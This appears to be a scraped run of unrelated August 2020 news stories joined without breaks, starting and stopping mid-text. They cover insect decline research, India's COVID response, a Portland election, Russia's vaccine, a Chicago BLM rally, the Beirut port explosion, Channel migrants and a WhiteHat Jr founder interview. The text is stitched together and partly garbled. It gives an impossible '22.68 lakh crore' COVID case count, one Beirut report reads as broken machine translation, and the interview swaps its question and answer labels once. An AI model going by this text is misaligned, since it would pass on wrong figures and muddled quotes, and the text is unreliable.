groups, such as beetles and butterflies, and different types of feeding, such as herbivores and carnivores. We tried comparing urban, agricultural and relatively undisturbed areas. We tried comparing different habitats and different periods of time. But the answer remained the same: no change. We had to conclude that at the sites we examined, there were no signs of an insect apocalypse and, in reality, no broad declines at all. Explaining continental differences We are confident in our analysis and our conclusion, but a more important question is why our results are so different from those of other recent studies. I see two potential explanations: location and publication bias. As I have noted, most insect decline papers have come from European data. Indeed, Europe has better and more extensive long-term data than other parts of the world. It is also one of the most densely populated parts of the world three times higher than North America. Moreover, almost all of Europes land has been modified for human use. Agriculture is widespread and intense, and cities and suburban areas cover large swaths of the landscape. So perhaps it is unsurprising that Europe has also lost a larger proportion of its wild creatures compared to North America. Publication bias is not about dishonesty or false results. It refers to the idea that more dramatic results are more publishable. Reviewers and journals are more likely to be interested in species that are disappearing than in species that show no change over time. The result is that over time, declining species can become overrepresented in the literature. Then, when scholars go looking for papers on animal populations, declines are predominantly what they find. We selected Long-Term Ecological Research sites for our analysis in part because they had raw data available that had not been peer reviewed for publication and were not collected in anticipation of finding declines. Rather, scientists amassed these data to monitor ecosystems and observe trends over time. In other words, it was unbiased data. And because the data sets were so varied, they covered a broad range of species and habitats. The future of insects Our study will not be the final answer. As the human population continues to grow and appropriates an ever larger share of the worlds land, water, space and biomass, other species can only retreat and survive with fewer resources. I have no doubt that every time a forest is cut, a prairie is plowed or a field is paved, the world loses some of its animal and plant life. Quantifying this process will require more monitoring, more conservation biologists working in the field and more awareness of how human actions affect Earths biodiversity. But it may be possible that insects, who have survived for millions of years through a great many biological catastrophes, are finding a way to survive our presence too. READ: Alien Spotted-Thighed Frog Invasion Disrupts Southern Australia's Natural Biodiversity This article is republished from The Conversation under a Creative Commons license. Read the original article. | Author: Matthew D. Moran, Professor of Biology, Hendrix College Indias victory against the Covid-19 pandemic now depends on the performance of 10 states that account for 80% of active cases, Prime Minister Narendra Modi told a group of chief ministers during a virtual meeting on Tuesday. With more than 22.68 lakh crore cases in India till Monday, Modi gave the examples of Delhi, Haryana and Uttar Pradesh to underline how the situation can be improved. He emphasised the need for greater cooperation between states and the Centre for more effective Covid-19 management. He also said the governments efforts are showing results. Nitish Kumar (Bihar), Yogi Adityanath (UP), Mamata Banerjee (West Bengal), Tamil Nadus EK Palaniswami, K Chandrasekhar Rao of Telangana, Maharashtras Uddhav Thackeray, Amarinder Singh of Punjab and Gujarats Vijay Rupani were the chief ministers who attended the meeting. Defence minister Rajnath Singh too joined the meeting. In some districts of Delhi, Haryana and UP, Covid-19 had posed a major problem at some stage. Then we had a review meeting and an expert committee chaired by home minister Amit Shah was constituted. As a result, we were able to achieve almost everything that we wanted to, Modi told the chief ministers. In Delhi, Shahs panel stepped up testing and sero-surveillance, redefined containment zones, and took several other measures to improve the situation. While Modi underlined that containment, contact tracing and surveillance hold the key in the battle against the Coronavirus, he said that once infected persons are detected, there is an urgent need to diagnose people who may have been infected by them within the next 72 hours. Modi hailed the effort of states and maintained that they can play an important role in the countrys battle against Covid-19. He pointed out that the average fatality rate, or death rate for Covid-19 patients is continuously going down while the rate of recovery is increasing with each passing day, adding that the governments efforts are showing results. Voter turnout in a race to decide the fifth member of the Portland City Council stood at 32% as of Monday, a notably high turnout for a special election. The race between former All Hands Raised CEO Dan Ryan and former two-term Multnomah County Commissioner Loretta Smith is the only choice for voters on the ballot. County election officials reported more than 142,000 ballots had been received as of the day before Tuesdays election. There are more than 442,000 registered voters in Portland who live in Multnomah, Clackamas and Washington counties. Typically, Portland voters turn in as many as 40% of the total ballots cast on Election Day, turnout records from past elections show. But Multnomah County Elections Director Tim Scott said he has no idea how the coronavirus pandemic and voters new ability to vote by mail without having to find or pay for a stamp may have changed voters habits this month. Smith and Ryan seek to complete the term of late Commissioner Nick Fish, who died of cancer in January. Fish had been elected for the fourth time to serve on the council in 2018. The term ends Dec. 31, 2022. Fish was first elected during Portlands last special election for a council seat in May 2008, winning the race outright after capturing 61% of the vote. The race was to complete the term of then-Commissioner Erik Sten, who resigned. The special election that May was included on the regular primary ballot. Turnout in Multnomah County was 40% as of the day before that election and ultimately 60% by the end of Election Day. Multnomah County turnout in the last special election in November 2019, which involved only local ballot measures, was 22% as of the Monday before the results were tallied. In the May 2013 special election, when the highest profile ballot measure asked Portland voters whether fluoride should be added to the citys drinking water, countywide turnout reached 28% as of the day before the Tuesday election. In the end, 42% of eligible Multnomah County voters cast ballots and Portland voters rejected fluoridation 61% to 39%. During the primary this May, Smith and Ryan emerged as the top vote-getters in a field of 18 candidates. Smith captured 19% of the vote and Ryan garnered 17%. Countywide voter turnout was close to 52%. The deadline to turn in ballots for the special election is 8 p.m. Tuesday. The winner will be seated on the City Council starting in September. The winner will be the first of two to four new faces to join the five-member City Council over the next five months. Carmen Rubio, executive director of nonprofit Latino Network, won in the May primary to succeed Commissioner Amanda Fritz, who is stepping down. Rubios term begins in January. Mayor Ted Wheeler faces a runoff challenge in November against Sarah Iannarone and Commissioner Chloe Eudaly also is running for re-election against Mingus Mapps. The winners of both those races will also begin their term in January. Betsy Hammond of The Oregonian/OregonLive contributed to this report. -- Everton Bailey Jr; ebailey@oregonian.com | 503-221-8343 | @EvertonBailey Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. - After months of battling against the coronavirus disease (COVID-19), Russia has officially registered the worlds first vaccine against COVID-19 - Russian President Vladimir Putin claimed that the vaccine showed efficient results and has lasting immunity from the coronavirus - He also revealed that one of his daughters received the shot of the COVID-19 vaccine - President Putin announced that mass vaccination will be starting very soon PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed President Vladimir Putin has confirmed that Russia has officially registered its developed COVID-19 vaccine on Tuesday. KAMI learned that according to the Russian President, one of his daughters was injected with the COVID-19 vaccine. Photo from Getty Images Source: Getty Images In a report by The Associated Press, President Putin attended a government meeting and claimed that the vaccine has been proven to be efficient during trials and it has lasting immunity from the coronavirus. The Russian President also mentioned that the vaccine underwent the necessary tests before it was registered. "This morning, for the first time in the world, a vaccine against the new coronavirus was registered, Putin reportedly said in a televised meeting. As reported by Independent UK (authored by Oliver Carroll), President Putin revealed that one of his daughters was injected by the COVID-19 vaccine. He also mentioned that the mass vaccination will start soon. One of my daughters did the inoculation herself, he said. "After the first injection, her temperature went up to 38, but by the next day it was just a little over 37, he added. According to deputy prime minister Tatyana Golikova, medical workers, teachers, and other risk groups will be the first to have a shot of the vaccine. PAY ATTENTION: Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! As of posting time, more than 20 million people across the globe have been infected by the coronavirus disease or COVID-19. The said coronavirus was first reported in Wuhan, China. Just a month ago, the defense ministry of Russia announced that the COVID-19 vaccine it has been developing already showed promising results after clinical trials. President Rodrigo Duterte earlier announced that he accepted the COVID-19 vaccine offer of Russia. He even volunteered to be the first to receive the shot in the Philippines to ensure its safety. Please like and share our Facebook posts to support KAMI team! Dont hesitate to comment and share your opinion about our stories either. We love reading about your thoughts! Source: KAMI.com.gh Deerfield, Illinois-based Alera Group, a national employee benefits, property casualty, retirement services and wealth management firm, has acquired Alper Services LLC in Chicago. The acquisition was effective Aug.1. Founded in 1966 and led by CEO Leslie Morse, Alper Services focuses on providing innovative insurance solutions which minimize risk, protect assets and reduce liabilities for clients throughout the Midwest and Chicagoland area. Along with its expertise in property/casualty, trade credit, employee benefits and financial services solutions for middle-market corporations, the firm is known for its claims service model and AuditRate division. Alper Services was named a Best Practices Agency four years in a row by the Independent Insurance Agents and Brokers of America. Alper Services joins Alera Group through GCG Financial, an Alera Group company located in Deerfield. The Alper Services team will continue serving clients in their existing roles. Terms of the transaction were not disclosed. Source: Alera Group Topics Mergers Illinois Workers make repairs to the Brunello Cucinelli store after it was looted in Chicago on Aug. 10, 2020. (Scott Olson/Getty Images) Black Lives Matter Denounces Arrests of Looters, Calls for Abolishing the Police A Black Lives Matter rally in Chicago on Monday denounced Mayor Lori Lightfoot and the police for cracking down on some of the hundreds of people who looted the city over the weekend, while calling for abolishing the police. Organizers said they dont believe the official story about what transpired on Sunday during a police interaction. Officials said that officers received a report of a man with a gun and, after responding and trying to approach the man, he fled. While moving away from officers, the 20-year-old produced a gun and opened fire, prompting return fire. The man was identified as Latrell Allen. He is in custody and was charged with two counts of attempted murder and one count of possessing or carrying a concealed weapon. Police officers chased and shot someone multiple times. They put out a narrative that this person shot at them. Im not [expletive] buying it. Wheres the [expletive] bodycam? a Black Lives Matter organizer, Ariel Atkins, told a crowd next to a police station in the South Loop neighborhood in footage published by the movements Chicago chapter. The protester targeted Lightfoot, a Democrat, who said there were no excuses for the widespread looting and destruction caused by rioters in the city Sunday night following the shooting. Chicago Mayor Lori Lightfoot speaks during a press conference in Chicago on Nov. 7, 2019. (Joshua Lott/Getty Images) We are in a pandemic. People are about to face eviction in numbers that we have never seen before. People dont have a job. Why is Lightfoot so stressed about some buildings when people are dying? the protester said. She referred to the crimes as people deciding to take the power back. I dont care if somebody decides to loot a Guccis or a Macys or a Nike because that makes sure that that person eats. That makes sure that that person has clothes, Atkins said. Thats a reparation. Anything they want to take, take it because these businesses have insurance. Lightfoot told reporters earlier Monday that the looters were not poor. This was not legitimate, First Amendment protected speech. These were not poor people engaged in petty theft to feed themselves and their families. This was straight up felony criminal conduct, she said. Police officers detain a man who was found inside of a Best Buy store in Chicago on Aug. 10, 2020. (Scott Olson/Getty Images) In a written statement, Black Lives Matter Chicago said many people have lost their jobs in recent months, including minorities. When protesters attack high-end retail stores that are owned by the wealthy and service the wealthy, that is not our city and has never been meant for us, the group said. Chicago residents do not need police to keep them safe, protesters asserted at the rally. Who keeps us safe? We keep us safe, the crowd chanted. [Expletive] these police. Today. Tomorrow. Till theyre [expletive] abolished, Atkins said. A man sweeps up outside Paul Young Fine Jewelers after looting broke out in the Loop and surrounding neighborhoods overnight in Chicago, Aug. 10, 2020. (Ashlee Rezin Garcia /Chicago Sun-Times via AP) You cannot reform what has always, always been rotten, she also said, claiming the very foundation of the police is violence and racism. In an advertisement for the event, Black Lives Matter Chicago said they are demanding community control of the police department. Dozens of businesses, including corporations and mom-and-pop stores, were struck during the mayhem late Sunday into Monday morning. People streamed into downtown in car caravans, Chicago Police Superintendent David Brown said at a press conference. This was not an organized protest. Rather, this was an incident of pure criminality. This was an act of violence against our police officers and against our city, he said. These individuals engaged in what can only be described as brazen and extensive criminal looting and destruction, Lightfoot added. Around the tragedy of Beirut, new Details are coming to light: security experts have warned the Lebanese government, according to the Reuters news Agency in July from the devastating consequences of an Explosion in the port of Beirut. Explicitly, the 2750 tons of ammonium nitrate were mentioned, which led last week to the huge Explosion that has destroyed large parts of the city. The chemicals were stored according to the government, for six years unsecured in the port.This is likely to fuel the discussions, the extent to which the disaster could have been prevented. The warning of the security experts had gone to the Prime Minister Hassan Diab and the President Michel Aoun, said the people familiar with the news Agency. In the most recent report of the General Directorate for state security, there is a note on a letter to the two leaders, the on 20. July had been sent. The content of the letter is not clear from the report that Reuters was able to see. "I warned you that this is Beirut can destroy" with the operations Familiar, however, said that the Letter have had the results of a study of the content. The conclusion had been drawn that the chemicals would have to be immediately secured. "There was the danger that the Material, if it had been stolen, could be used for terrorist attacks", so the Person who was involved in the formulation of the letter and not by name wanted to be called. "I warned you that this may Beirut to destroy, if it explodes." The offices of the Prime Minister and the President made requests to the letter unanswered. Also, the Prosecutor's office would not comment. After days of protests, the government had on Monday announced her resignation, but will remain on a transitional basis in the office. Protesters in Beirut throw your failure and corruption. The reconstruction is expected to cost the crisis-ridden country up to 15 billion dollars. Updated Date: 11 August 2020, 02:20 Many places. The U.S. Department of Homeland Security accused violent anarchists of doxxing dozens of federal law enforcement officers in Portland during protests that followed the May death of a Black man in police custody, George Floyd. The agency said it had replaced the officers name tags with badge numbers to help avert the risk. Hong Kong saw a lot related to the pro-democracy protests: nearly 5,000 complaints about doxxing and other types of harassment since June 2019, the citys privacy commissioner said early this year. About a third of the attacks targeted the police. At least 200 people seen as supporting the protests also were doxxed by an anonymous website. U.S. senators fell victim to the practice during hearings for then-Supreme Court nominee Brett Kavanaugh. In general, though, women and minorities are more likely to experience serious harassment online, including doxxing. The tactic was employed by online mobs to harass women who spoke out against sexism in video game culture during the Gamergate controversy of 2014. British immigration minister says London and Paris are working to finalise a new plan for shutting down a migrant route. The United Kingdom and France will work at pace to finalise a new plan for shutting down a migrant route across the English Channel, according to the British immigration minister. Chris Philp said on Tuesday President Emmanuel Macrons government agreed the high numbers making the irregular crossing were unacceptable. Its clear more needs to be done, Philp told reporters in Paris after meeting French officials. If we can make this route unviable, which we are determined to do, then migrants will have no reason at all to come to France in the first place, he said. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursday many navigating one of the worlds busiest shipping routes in overloaded rubber dinghies. Philp said Paris had agreed to mirror Londons move of appointing a special commander to oversee the operation. Asked if the UK was ready to pay France to bolster its policing of the maritime border, the minister said: We accept this is a shared problem. If a shared plan can be agreed, we would be obviously be prepared to support that in all the ways necessary to make it a success. More crossings More than 20 migrants were escorted to Dover on Tuesday by the UK border force. Many of the migrants seeking to reach the UK come from Afghanistan, Iraq, Iran, Syria and countries in Africa, fleeing poverty, persecution or war. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in the UK. The UK has called for more flexibility to the European Unions so-called Dublin Regulation, which currently governs the return of undocumented immigrants. Organised crime groups offer to help the migrants cross the Channel for about 500 pounds ($650), the Sun newspaper reported, adding that some smugglers offer kids go free deals. Whitehat Jr founder and CEO Karan Bajaj Karan Bajaj is not your typical entrepreneur. Sure, he does have a top management degree (IIM-B) and a stint at a consulting firm (BCG), but dont let that fool you. Over the last 15 years, he has written four books - from thrillers about a down-on-his-luck man about to commit suicide, to the tenets of yoga and vipassana. One fine day in 2012, Bajaj and his American wife took off on a sabbatical, from Europe to India by road, and to teach and practice yoga in an Ashram in South India. Later he was also the South Asia head for Discovery Networks, after which he started WhiteHat Jr., providing live coding classes for kids. Last week, Bajaj sold WhiteHat, still not two years old, to Byjus, Indias second largest startup, in a $300 million all cash deal. He owned a little over 40 percent in the startup. Bajaj has worn a lot of hats, in completely different sectors. A lot has been written about WhiteHat Jrs business model, investors, valuation and product. But we go behind the hood to see what makes Karan Bajaj tick; how did seemingly unrelated past experience helped him here, what motivates him, and what are his biggest influences. He opened up to Moneycontrol over a Zoom call the day after being acquired. Edited excerpts: Q: Its a big acquisition. What next? A: We are exactly where we were two days ago. Just grow aggressively, even more than before. Both India and the US are growing 100 percent month-on-month. Sixty-five percent revenue coming outside of the top 15 cities, so there is a lot of depth in India. We also want to expand into Australia, New Zealand and the UK. Q: Do you think you could make the majority of revenue from outside India in say, two years? A: Possible, but the expansion seems pretty boundaryless, and the overall pie is growing. Teachers are from India but students are from all over the world. It is possible other countries may become bigger, but that is not because India is any less but only because the aggregate population of the rest of the world is more than India Q: But isnt the ability to pay for coding classes far higher abroad? A: Maybe, but we are seeing quite a broad market here as well. Right now the total revenue is split, 55 percent US and 45 percent India. But the user split is still 65 percent India and 35 percent US. Q: Cash exits in India are rare, more so of this scale. Any plans with the money? A: Im quite a yogi at heart, so I am quite minimalist by nature. Most of the things I like doing, like reading, or immersing myself in my work, are quite inexpensive. So no specific plans. Q: You have had quite an unusual and unstructured career. How have your past experiences helped you with WhiteHat, and get it to where it is today? A: In so many ways. For example, because of my history of backpacking around the world, in Brazil, or the US, I have quite a boundaryless view of the world. My wife is American. Because of being so open, decisions get taken very quickly. The moment we turned cash-flow positive in India, we went quickly to the US. And I was very comfortable and confident that the US market would respond just as well. And it has. Also Read: Byju's acquires WhiteHat Jr in $300mn deal Q: Did being a writer help you? A: The writing helped a lot. A typical entrepreneur would go through a lack of confidence and conviction, because it (building a business) is such a daunting task. But when you write a novel, if you have taken a blank page and turned it into a 300 page book that people are reading, you get a sense that if you just show up everyday, and keep making progress, eventually the output will come. So even in the entrepreneurial journey, I was very sure of myself in the early days. That there is nothing here today, but I will show up everyday and one day it will become a big company. I had no doubt about that. My experience with travel and with creation - creating a TV channel and writing books - helped me be comfortable with a lack of structure in the early days of the company. Being CEO of Discovery made me very focused on profits and losses, and financially judicious. We have raised very little money. We have raised $11 million so far, and before the Byjus acquisition, we had $16 million in the bank. So we were very disciplined economics wise. Q: What was virtual dealmaking like? You hit the market to raise a round, which eventually became an acquisition, but what was constant pitches and selling a story over Zoom like? A: It was surprisingly conducive. We found it remarkably efficient. Byju and I met over video six weeks ago and didnt know each other at all. Within a week, we had contours of a deal and we had investor approval. And in four weeks, the bankers and investors closed everything. I actually think the deal was more efficiently done virtually. Q: Have you considered that selling to Byjus will give you time for non-WhiteHat work, even in the long run? You know that this company has a home so you can pursue whatever else you want? A: See, I have a bit of an obsessive personality. I do one thing, and I do that very deeply. You could have argued why I lived in an Ashram for a year. But when I wanted to do yoga, thats all I wanted to do. So right now I want to run a startup. Thats all I want to do. I dont have much of a risk/return equation in my mind. When I wanted to write full time, I did that, not worrying about having a job on the side. So I want to just do one thing, and do that very well. Q: So right now writing, or traveling (post-pandemic), etc isnt a priority? A: Well, Im also a bit old in some ways, for a startup founder. But Im also young, for a human being (laughs). I have more years to write and do other things. Q: But you have had a very unstructured career so far where you have done many different things. Did it cross your mind that if you want to leave the company some day, it is in good hands? A: So I dont think I embark on any activity with a time frame in mind. So even when I dropped off the yoga thing, it wasnt because I had said, after ten months I will return. I just felt like I had reached a point where I had learnt all I had to learn. So I move on only when I feel like, I have done everything here that I wanted to. Sometimes it happens sooner, sometimes later. Q: Can you take us through your average day? A: I wish there were some great secrets to what I do. But there isnt. I wake up at about 8-8:30, later than usual because sleep cycles are off during the pandemic. I meditate straight away for half an hour, and my day officially begins at 10 am. I work quite a lot, somewhat unfortunately for my team, but I work from 10 in the morning to 11 at night or so. I have a lot of energy because of yoga and meditation so I can keep going. And I read and meditate before I sleep. Q: What are you reading right now? A: Right now Im revisiting Andy Groves (former Intel CEO) High Output Management. Im also reading a lot on gamification because we are doing a lot of work in that area. Some parenting books. At any point Im reading one fiction and nonfiction book. In fiction Im reading some Ian McEwan literary detective novel. I cant remember the name... Q: Whats your guilty pleasure novel? Something the purists may consider passe but you enjoy? A: I enjoy the Forrest Gump book a lot. It was very mind opening. It is not considered a great novel, but it was life changing for me because I really liked that boundaryless idea of doing one thing after another. He (Gump) kept falling into things, doing them very well, and falling into the next thing. I read it very early in life and it really influenced the way I think. I was very comfortable with the idea of jumping into unrelated things. Q: What are your plans for the next 6-12 months? A: Just grow more aggressively. The company is on a tear right now so we don't want to lose the momentum. Since January we have been cash flow positive so that has allowed us to be aggressive and invest our own cash into the company instead of going to investors. So today even if my parent company has money to burn, I want to remain cash flow positive because it lets me be in charge of my own destiny. The acquisition gives us some psychological relief because we have betted so heavily every month, and there was no cover or insurance, except my confidence that we will be able to pull it off. Q: Going to market to raise funds (which became a buyout), was it distracting from running the business? A: Definitely. For an entrepreneur, raising funds takes a lot of bandwidth. Multiple conversations, multiple investors, follow-ups, exposure of product and tech team to investors it is all very time consuming. On the flipside, you do learn whats happening in the outside world, whats unique or not unique about your model, and it does help the business. Q: Have you considered that this ed-tech boom may be temporary, and post the pandemic, growth for all players may dip? A: The dynamics for each player in the market is different, but if you look at us, it has been a wonderful confluence of factors. This is a new skill, with worldwide demand and very liquid supply in India. So there doesnt seem to be any limit to what can be accomplished. We have a very narrow focus, and a leg-up on the market. We are doing 20,000 live classes a day, when newer players are starting out with a few 100. That is a steep learning curve. For the sector as a whole, there is some hype around the ed-tech boom, but getting paying customers even during the pandemic wasnt easy. So what is your eventual revenue and cash figures is the question. Everything else is a vanity metric. A: You do have a narrow focus- coding for kids. Would you consider going beyond this? Q: Yes, we are launching math classes for kids. The thesis is the same, that kids should fall in love with math from Grade 1, and that we will make it creation-based learning - helping them use math to build stuff. But we are sure we will have only a live product. Byjus is clearly the leader in asynchronous learning. They do that very well. We dont want to compete with that and this is where our expertise lies. HALFMOON - The town has approved a site plan for a small specialty grocery store at Halfmoon Crossing on Route 9 - but what that store is is a mystery. The town planning board's minutes say little about plans for the site, other than it is a specialty grocery store. The proposed site is 4.83 acres of vacant land next to Berkshire Bank. "We have not been told anything related to who the tenant might be," Richard Harris, the town's building, planning and development cooridinator said. "There has been speculation at the (planning board) meetings. One board member speculated Trader Joe's, but there has been no confirmation." The applicant, he said, told the planning board it is under a confidentiality agreement with the building's tenant and was not permitted to discuss. "They have to disclose how many employees, hours of operation and a site plan, but we don't need the exact name of the tenant," Harris said. "We will find out at the latest when they come in for a building permit that will show the mechanics of the building. That's when the cat will be out of the bag. They haven't submitted that yet." The Albany Business Review reported last week that it would be a 12,500-square-foot grocery store, which would be smaller than most grocery stores but be approximately the size of the Trader Joe's in Colonie. There is already an Aldi's around the corner from the Halfmoon site as well as a nearby Market 32, Walmart and Target that sells groceries. In the July 13 minutes, Halfmoon planning board members expressed concerns over issues like setbacks and parking. The site plan calls for 120 parking spaces, according to the meeting minutes. An engineer representing the unnamed retailer estimated that peak traffic could see roughly that many visits per hour. When the highly-anticipated Trader Joe's on Wolf Road in Colonie was revealed in 2012, the information was able to be kept secret up until near the opening because the company was leasing space that already existed. It appears the store in Halfmoon Crossing would also be a tenant of the developer. During an exchange recorded in the minutes of the July 13 town planning board meeting, board member Richard Berkowitz was trying to tease out what kind of parking might be needed for this particular tenant. "This was brought up at the last meeting, specifically one on Wolf Road, to take a look at specialty grocery stores and this far surpasses the parking," the engineer said, referencing Trader Joe's small parking lot in Colonie. The engineer, Chris Boyea, said they hadn't looked at other specialty grocers in Latham or Saratoga Springs (which would be Fresh Market) as a comparison. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. If Trader Joe's were to do a second location in the Capital Region, it would be a first in upstate New York for the chain. Syracuse, Buffalo and Rochester all have single locations. The Halfmoon site would be 10 miles from the Colonie location - which is more common in larger markets. For example, there are Trader Joe's in Larchmont and Scarsdale that are five miles apart in Westchester County. Bohler Engineering, which is working on the Halfmoon site plan, has also represented another small grocer in site plans across the East Coast - Lidl discount grocery, a German-based chain. But those stores have been double the size, around 30,000-square-feet, and the closest other locations are on Long Island and Staten Island. The Halfmoon store, for now, remains a mystery even to town officials. "We have heard a lot of rumors," Harris said. "But no one has yet disclosed the name." Steve Hughes contributed to this report Advertisement Lebanon's president and prime minister were warned last month that a stash of ammonium nitrate at the port of Beirut could destroy the city if it exploded, it has emerged. Security officials wrote a letter on July 20 saying the industrial chemicals which had been idling in a warehouse since 2013 needed to be secured immediately. Just over two weeks later, the stockpile went up in a massive blast that obliterated most of the port and swathes of the capital, killed at least 163 people, injured 6,000 and has sparked mass protests against Lebanon's elite. Prime minister Hassan Diab announced his resignation yesterday and blamed the blast on the incompetence of the elite, declaring that an 'apparatus of corruption bigger than the state' was blocking the path to reform. However, the documents seen by Reuters show that both Diab and President Michel Aoun had been warned in a private letter that 'this could destroy Beirut if it exploded'. Diab's camp claimed he had forwarded the letter to the Supreme Defence Council within 48 hours, pointing the finger at 'previous administrations [who] had over six years and did nothing'. Prime minister Hassan Diab (pictured) announced his resignation yesterday and blamed the blast on the incompetence of the elite, declaring that an 'apparatus of corruption bigger than the state' was blocking the path to reform Lebanese security forces clash with protesters in the vicinity of the parliament in central Beirut last night after the government announced its resignation Firecrackers thrown by protesters explode in front of riot police amid clashes in the vicinity of the parliament in central Beirut on August 10, 2020 A demonstrator fires firecrackers during a protest in Beirut, Lebanon, August 10, 2020 A Lebanese protester uses a slingshot to hurl stones at security forces amid clashes in the vicinity of the parliament in central Beirut on August 10, 2020, following the deadly Beirut port explosion A handout picture provided by the Lebanese photo agency Dalati and Nohra on August 10, 2020 shows Prime Minister Hassan Diab (R) submitting his resignation to President Michel Aoun at the presidential palace in Baabda, east of the capital Beirut Lebanese protesters run from tear gas fired by security forces today in Beirut today. Many see the blast as a symbol of corruption and incompetence among the country's elite, and protests have broken out after months of political and economic meltdown. The devastated port of Beirut is seen in an aerial view yesterday after the explosion at a warehouse which has killed more than 160 people and left hundreds of thousands homeless Details of the private letter emerged in a report by the General Directorate of State Security on events leading up to the explosion. While the content of the letter was not in the report, a senior security official said it summed up the findings of a judicial investigation launched in January which concluded the chemicals needed to be secured immediately. 'There was a danger that this material, if stolen, could be used in a terrorist attack,' the official said. 'At the end of the investigation, Prosecutor General (Ghassan) Oweidat prepared a final report which was sent to the authorities,' he said. 'I warned them that this could destroy Beirut if it exploded.' A representative for Diab said the PM received the letter on July 20 and it was sent to the Supreme Defence Council for advice within 48 hours. 'The current cabinet received the file 14 days prior to the explosion and acted on it in a matter of days. Previous administrations had over six years and did nothing,' they said. The president's office has not commented. Hezbollah-backed Diab announced the government's resignation last night while President Aoun - who has rejected calls for an international probe into the disaster - is also facing pressure to quit. Many in Lebanon see the blast as a symbol of the failed political system, and protests have broken out with tear gas fired on crowds after months of political and economic meltdown. Even as Diab spoke, security forces in central Beirut clashed for a third night with protesters demanding sweeping change to the political system. At least nine lawmakers have also announced they would quit in protest, as have two senior members of the Beirut local government. Lebanon's system is modelled on that of former colonial power France, where the president appoints the prime minister and is not required to resign along with the cabinet. However, Aoun is also under pressure to quit and his portrait was burned by demonstrators who burst into the foreign ministry building during angry protests at the weekend. The country's sectarian power-sharing system requires the president to be a Maronite Christian, the prime minister to be a Sunni and the parliament speaker to be a Shi'ite. France, whose president Emmanuel Macron visited Beirut in the days after the blast, called for the 'rapid formation' of a new government. Lebanon is already seeking $20billion in funding from the IMF and now faces billions more in disaster costs, with losses from the explosion estimated to be between $10billion and $15billion. A week after the enormous chemical blast which was felt as far away as the island of Cyprus, residents and volunteers were still clearing the debris off the streets. International rescue teams with sniffer dogs and specialised equipment remained at work at 'ground zero' on Monday, where the search is now for bodies and not survivors. The Lebanese army said yesterday that another five bodies were pulled from the rubble with the help of Russian and French rescue teams, raising the death toll to 163. Lebanese protesters clash with security forces in the vicinity of the parliament in central Beirut on Monday The devastating explosion last week. An Italian expert has claimed that the brick red cloud suggests that the blast was not caused by ammonium nitrate and suggested burning armaments had instead caused the blast Lebanese anti-government protesters try to break through a barrier placed by Lebanese police to block a road leading to the parliament building during a protest in Beirut Italian firefighters from the NBCR (Nuclear Biological Chemical Radiological) unit inspecting a ship wreck in the port of Beirut The explosion, which drew comparisons with the Hiroshima atom bomb 75 years ago, has also injured more than 6,000 people and left 300,000 homeless. The disaster also sparked widespread panic over wheat shortages after 15,000 tonnes of grains were blasted out of the silos. The cabinet decided to refer the investigation of the blast to the judicial council, the highest legal authority whose rulings cannot be appealed. Lebanon's president had previously said explosive material was stored unsafely for years at the port. He said an investigation would consider whether the cause was external interference as well as negligence or an accident. 'There are two possible scenarios for what happened: it was either negligence or foreign interference through a missile or bomb,' he said last Friday. The shipment of ammonium nitrate was officially destined for Mozambique when it sailed on the cargo ship Rhosus in 2013, but the vessel made an unscheduled stop in Beirut where the chemicals were impounded. The captain of the Rhosus claims he was told to stop in Beirut to pick up extra cargo - while Mozambique has denied all knowledge of the shipment. Cypriot police said on Thursday that they had questioned Russian businessman Igor Grechushkin over his alleged links the ship and its cargo. Russian emergency personnel walk on the site of the explosion in the port of Beirut, where rescuers are continuing their recovery efforts nearly a week after the blast Beirut's governor said many foreign workers and truck drivers remained missing and were assumed to be among the casualties. Anti-government protests in the past two days have been the biggest since October, when demonstrators took to the streets over the country's economic crisis. Protesters accused the political elite of siphoning off state resources after last week mobbing French president Emmanuel Macron with demands for reform. 'If reforms are not carried out, Lebanon will continue to sink,' Macron said after being met at the airport by President Aoun last week. France has always maintained close ties with Lebanon, which was administered by France under a League of Nations mandate until 1943 when it gained independence. Officials have estimated losses of around $15billion from the explosion, a bill which Lebanon cannot afford after already defaulting on sovereign debt. Eli Abi Hanna's house and his car repair shop were destroyed in the blast. 'The economy was already a disaster and now I have no way of making money again,' he said. 'It was easier to make money during the civil war. The politicians and the economic disaster have ruined everything.' Wreckage lies in front of destroyed grain silos in the port of Beirut, three days after the devastating explosion in the Lebanese capital A helicopter tries to put out a fire at the scene of last Tuesday's blast, which is thought to have been caused by a stockpile of ammonium nitrate which had been left unsecured at the port since 2013 Some Lebanese doubt change is possible in a country where sectarian politicians have dominated since the 1975-90 conflict. 'It won't work, it's just the same people. It's a mafia,' said Antoinette Baaklini, an employee of an electricity company that was demolished in the blast. Workers picked up fallen masonry near the building where wall graffiti mocked Lebanon's chronic electricity crisis: 'Everyone else in the world has electricity while we have a donkey.' 'It will always be the same. It is just a political game, nothing will change,' said university student Marilyne Kassis. An emergency international donor conference on Sunday raised pledges worth nearly 253 million euros ($298 million) for immediate humanitarian relief. But foreign countries demand transparency over how the aid is used, wary of writing blank cheques to a government perceived by its own people as deeply corrupt. Some are concerned about the influence of Shi'ite movement Hezbollah, which is designated as a terrorist group by the United States. Iranian Foreign Ministry spokesman Abbas Mousavi said on Monday that countries should refrain from politicising the port blast. He called on the United States to lift sanctions against Lebanon. Lebanese, meanwhile, are struggling to come to terms with the scale of losses. Entire neighbourhoods were wrecked. 'It is very sad. We are burying people every day. Forty percent of my church have lost their businesses,' said a priest. A tattered gamchha (indigenous bath towel) was left casually on the bank of Matla River to dry under the scorching sun. A few metres behind, a makeshift mud house facing the Hamilton Island in the Sundarbans seems to be playing hy-spy as Sukumar Dulois mended fishing net, hung on a bamboo pole, stands in between the scenic beauty. Hamilton Island is named after Scottish businessman Sir Daniel Mackinnon Hamilton who made Bengal his second home. Breaking the eerie silence of the sleepy hamlet of Deulbari Debipur (in Kultali in South 24 Parganas district), Sukumar, hammers a few wooden pieces into his boat to mend it for the next catch. His wife Bharati screams, "Khaabaar hoye gaechhey, kheye nao (The food is ready, come and eat it)." While giving a numb expression to his wifes call, Sukumar picks up his tattered gamchha from the riverbank, wipes the sweat dripping from his face and sits for a frugal lunch after washing his hands with 